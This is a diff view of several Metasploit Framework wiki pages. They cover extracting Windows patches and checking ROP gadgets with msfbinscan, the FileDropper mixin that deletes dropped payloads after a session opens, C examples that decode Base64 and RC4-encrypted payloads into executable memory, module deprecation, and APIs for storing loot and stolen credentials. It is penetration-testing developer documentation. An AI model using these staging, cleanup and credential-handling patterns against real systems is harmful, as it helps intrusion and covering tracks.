If you prefer some sort of GUI for searching, you can use Microsoft's [Security Update Guide](https://portal.msrc.microsoft.com/en-us/security-guidance). You can edit this dashboard to add specific filters, such as the Windows version, Internet Explorer version, Office, etc, etc.
For example, if I want to find all the Internet Explorer 10 patches for Windows 7 since its debut, I can add the following filters:
* Windows 7
* Internet Explorer
And then I sort by date from September 2012 to 2014, I get: 22 results. But of course, this number will go up because IE 10 is still supported.
There are also other desktop or command-line tools that will basically check missing patches for your Windows system, such as [Windows Update Powershell Module](https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc), in some cases this may work better.
## Patch extraction
* Old patches used to be packaged as EXEs, and this kind can be extracted by using decompression tools such as [7zip](https://www.7-zip.org/). Internet Explorer 6 patches, for example, can be extracted this way.
* Newer patches packaged as EXEs support the /X flag for extraction. For example, the following will extract the patch under the same directory. Patches such as Internet Explorer 8 (for XP) can be extracted this way.
```
Windows[Something]-KB[Something]-x86-ENU.exe /X:.
```
* Most patches nowadays are packaged as MSUs. Here's what you have to do:
1. Put all your *.msu files under the same directory (in Windows)
2. Run [tools/exploit/extract_msu.bat](https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/extract_msu.bat) [absolute directory path to *.msu files)
3. extract_msu.bat should automatically extract all the *.msu files. The "extracted" sub-directory in each new folder is where you can find the updated components.
Note: The update folders might be labeled as GDR or QRE. GDR indicates Generation Distribution Release, while QRE means Quick Fix Engineering.
## Checking gadgets in patches
The quickest way to check gadgets across different patches is by using Metasploit's msfpescan utility (or msfbinscan, which is smart enough to know it's PE format). It's really easy, all you have to do is put the DLLs in the same directory, and then do:
```
$ ./msfbinscan -D -a [address] -A 10 /patches/*.dll
```
What that does is the tool will disassemble all the DLLs under that directory, at that specific address for 10 bytes. You can probably automate a little more to quickly identify which DLLs don't have right gadget, and if that's the case for you, that means the gadget you're using is unsafe. You should find another one that's more reliable.
@@ -0,0 +1,38 @@
## On this page
* [Examples](#examples)
* [Reference](#reference)
In some exploitation scenarios such as local privilege escalation, command execution, write privilege attacks, SQL Injections, etc, it is very likely that you have to upload one or more malicious files in order to gain control of the target machine. Well, a smart attacker shouldn't leave anything behind, so if a module needs to drop something onto the file system, it's important to remove it right after the purpose is served. And that is why we created the FileDropper mixin.
## Examples
The FileDropper mixin is a file manager that allows you to keep track of files, and then delete them when a session is created. To use it, first include the mixin:
```ruby
include Msf::Exploit::FileDropper
```
Next, tell the FileDropper mixin where the file is going to be after a session is created by using the ```register_file_for_cleanup``` method. Each file name should either be a full path or relative to the current working directory of the session. For example, if I want to upload a payload to the target machine's remote path: ```C:\Windows\System32\payload.exe```, then my statement can be:
```ruby
register_file_for_cleanup("C:\\Windows\\System32\\payload.exe")
```
If my session's current directory is already in ```C:\Windows\System32\```, then you can:
```ruby
register_file_for_cleanup("payload.exe")
```
If you wish to register multiple files, you can also provide the file names as arguments:
```ruby
register_file_for_cleanup("file_1.vbs", "file_2.exe", "file_1.conf")
```
Note that if your exploit module uses ```on_new_session```, you are actually overriding FileDropper's ```on_new_session```.
## Reference
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/file_dropper.rb>
@@ -0,0 +1,27 @@
# Description
## How to decode Base64 with Metasploit::Framework::Compiler
The Metasploit C compiler has built-in support for Base64 encoding and decoding, which is implemented as `base64.h`.
# Code Example
```c
#include <Windows.h>
#include <String.h>
#include <base64.h>
// "Hello World" encoded by Rex::Text.encode_base64()
#define BASE64STR "aGVsbG8gd29ybGQ="
int main() {
int base64StrLen = strlen(BASE64STR);
LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * base64StrLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(lpBuf, '\0', base64StrLen);
base64decode(lpBuf, BASE64STR, base64StrLen);
MessageBox(NULL, (char*) lpBuf, "Base64 Test", MB_OK);
return 0;
}
```
To compile, use [[How to use Metasploit::Framework::Compiler::Windows to compile C code|How to use Metasploit Framework Compiler Windows to compile C code]]
@@ -0,0 +1,25 @@
# How to decrypt RC4 with Metasploit::Framework::Compiler
The Metasploit C compiler has built-in support for RC4 encryption and decryption, which is implemented as the `rc4.h` header.
# Code Example
```c
#include <Windows.h>
#include <rc4.h>
#define PAYLOADSIZE 12
#define RC4KEY "4ASMkFslyhwXehNZw048cF1Vh1ACzyyA"
int main(void) {
unsigned char payload[] = "\xd8\xb0\xe9\x5a\x89\xc2\xee\x43\xb9\x30\xd0\x86";
int lpBufSize = sizeof(int) * PAYLOADSIZE;
LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x04);
memset(lpBuf, '\0', lpBufSize);
RC4(RC4KEY, payload, (char*) lpBuf, PAYLOADSIZE);
MessageBox(NULL, (char*) lpBuf, "Test", MB_OK);
return 0;
}
```
To compile, use [[Metasploit::Framework::Compiler::Windows.compile_c|How to use Metasploit Framework Compiler Windows to compile C code]].
@@ -0,0 +1,80 @@
Metasploit has a very specific way to deprecate a module. To do so, you must be using the [Msf::Module::Deprecated](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/module/deprecated.rb) mixin. The reason you must be using this mixin is because two things:
1. You are required to set a deprecation date. That way we know when to remove it, which is done manually.
2. You are optionally allowed to set a replacement of the module you wish to deprecate.
## Usage
To use the ```Msf::Module::Deprecated```, here's how:
1 - Under ```class MetasploitModule``` of your module, include the following:
```ruby
include Msf::Module::Deprecated
```
2a - When moving a module, use the ```moved_from``` method in the new module to add an alias to the old module name:
```ruby
moved_from 'auxiliary/analyze/jtr_windows_fast'
```
2b - Use the ```deprecated``` method to assign a deprecation date and replacement module:
```ruby
deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth')
```
2c - Alternatively, define the ```DEPRECATION_DATE``` and ```DEPRECATION_REPLACEMENT``` constants:
```ruby
DEPRECATION_DATE = Date.new(2014, 9, 21) # Sep 21
# The new module is exploit/linux/http/dlink_upnp_exec_noauth
DEPRECATION_REPLACEMENT = 'exploit/linux/http/dlink_upnp_exec_noauth'
```
When the user loads that module, they should see a warning like this:
```
msf > use exploit/windows/misc/test
[!] ************************************************************************
[!] * The module windows/misc/test is deprecated! *
[!] * It will be removed on or about 2014-09-21 *
[!] * Use exploit/linux/http/dlink_upnp_exec_noauth instead *
[!] ************************************************************************
```
## Code example
```ruby
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Module::Deprecated
deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth')
def initialize(info = {})
super(update_info(info,
'Name' => 'Msf::Module::Deprecated Example',
'Description' => %q{
This shows how to use Msf::Module::Deprecated.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'DisclosureDate' => 'Apr 01 2014',
'Targets' => [ [ 'Automatic', { } ] ],
'DefaultTarget' => 0
))
end
def exploit
print_debug("Code example")
end
end
```
@@ -0,0 +1,28 @@
* **store_loot()** - Used to store both stolen files (both text and binary) and "screencaps" of commands such as a ```ps -ef``` and ```ifconfig```. The file itself need not be of forensic-level integrity -- they may be parsed by a post module to extract only the relevant information for a penetration tester.
* **report_auth_info()** - Used to store working credentials that are immediately reusable by another module. For example, a module dumping the local SMB hashes would use this, as would a module which reads username:password combinations for a specific host and service. Specifically, merely "likely" usernames and passwords should use store_loot() instead.
* **report_vuln()** - Auxiliary and post modules that exercise a particular vulnerability should report_vuln() upon success. Note that exploit modules automatically report_vuln() as part of opening a session (there is no need to call it especially).
* **report_note()** - Modules should make an effort to avoid report_note() when one of the above methods would be a better fit, but there are often cases where "loot" or "cred" or "vuln" classifications are not immediately appropriate. report_note() calls should always set a OID-style dotted :type, such as domain.hosts, so other modules may easily find them in the database.
* **report_host()** - Reports a host's liveness and attributes such as operating system and service pack. This is less common because other reporting methods already do this, such as ```report_service```, ```report_exploit_success```, ```report_client```, ```report_note```, ```report_host_tag```, ```report_vuln```, ```report_event```, ```report_loot```, etc. Try not to repeat it.
* **report_service()** - Reports a new service (port) that's been detected by your module.
* **report_client()** - Reports a client running a host, such as a web browser.
* **report_web_site()** - Reports a website, and must be tied to an existing ```:service```. If there is no ```:service```, you will have to supply ```:host```, ```:port```, ```:ssl```.
* **report_web_page()** - You can use this if your module discovers a webpage that look interesting.
* **report_web_form()** - You can use this if your module discovers web forms that look interesting.
* **report_web_vuln()** - Reports a web application vulnerability. Exploits don't really need to use this. It's more suitable for auxiliary modules that exploit a bug that determines that it is vulnerable.
* **report_loot()** - Very rarely, modules might actually want to export loots without using store_loot(). Typically they do this with Ruby's file IO, but this won't be logged in the database so can't be tracked by Metasploit Framework. In that case, a ```report_loot()``` is needed. However, 99.9% of the time you should be using ```store_loot()```.
### References
- [[Guidelines for Accepting Modules and Enhancements]]
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb>

Some files were not shown because too many files have changed in this diff Show More